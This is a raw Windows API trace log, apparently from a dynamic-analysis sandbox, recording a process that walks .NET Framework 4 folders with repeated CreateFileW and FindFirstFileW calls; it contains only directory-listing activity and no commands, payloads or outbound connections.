	[0088.285] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\App_LocalResources\\*", lpFindFileData=0x12415788 | out: lpFindFileData=0x12415788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f34b780, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.305] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.305] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89f82540, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd5c0e3a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd5c0e3a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.310] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\Browsers" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\browsers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.310] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\Browsers\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ea84660, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x593d2ae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x593d2ae0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.323] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MOF" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mof"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.324] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MOF\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b4c89e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd12439a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd12439a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.329] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\msbuild"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.329] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ef93520, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5ce96a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ce96a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.331] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MUI" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.331] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MUI\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d359600, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d359600, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d359600, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.331] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MUI\\0409" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mui\\0409"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.332] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MUI\\0409\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d359600, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d359600, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d359600, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.346] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.346] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ab69340, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x8ab69340, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x8ab69340, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.346] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.346] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ab69340, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd153d520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd153d520, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.352] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.353] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x774362c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x774362c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.359] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.359] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5683b800, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x612e0120, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x612e0120, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.363] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1025" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1025"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.363] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1025\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x591e3900, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d522680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d522680, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.364] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1028" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1028"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.364] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1028\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x591e3900, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d522680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d522680, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.365] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1029" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1029"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.366] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1029\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x591e3900, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d522680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d522680, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.366] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1030" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1030"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.366] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1030\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x591e3900, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d522680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d522680, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.367] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1031" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1031"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.367] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1031\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x591e3900, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d522680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d522680, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.368] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1032" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1032"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.368] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1032\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x591e3900, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.369] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1033" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.369] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1033\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x59209a60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.370] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1035" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1035"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.371] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1035\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x59209a60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.372] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1036" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1036"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.372] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1036\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x59209a60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.373] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1037" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1037"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.373] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1037\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x59209a60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.374] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1038" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1038"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.374] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1038\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x59209a60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.375] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1040" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1040"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.375] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1040\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x59209a60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.375] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1041" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1041"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.375] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1041\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x59209a60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.378] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1042" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1042"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.378] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1042\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.379] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1043" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1043"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.379] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1043\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.380] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1044" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1044"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
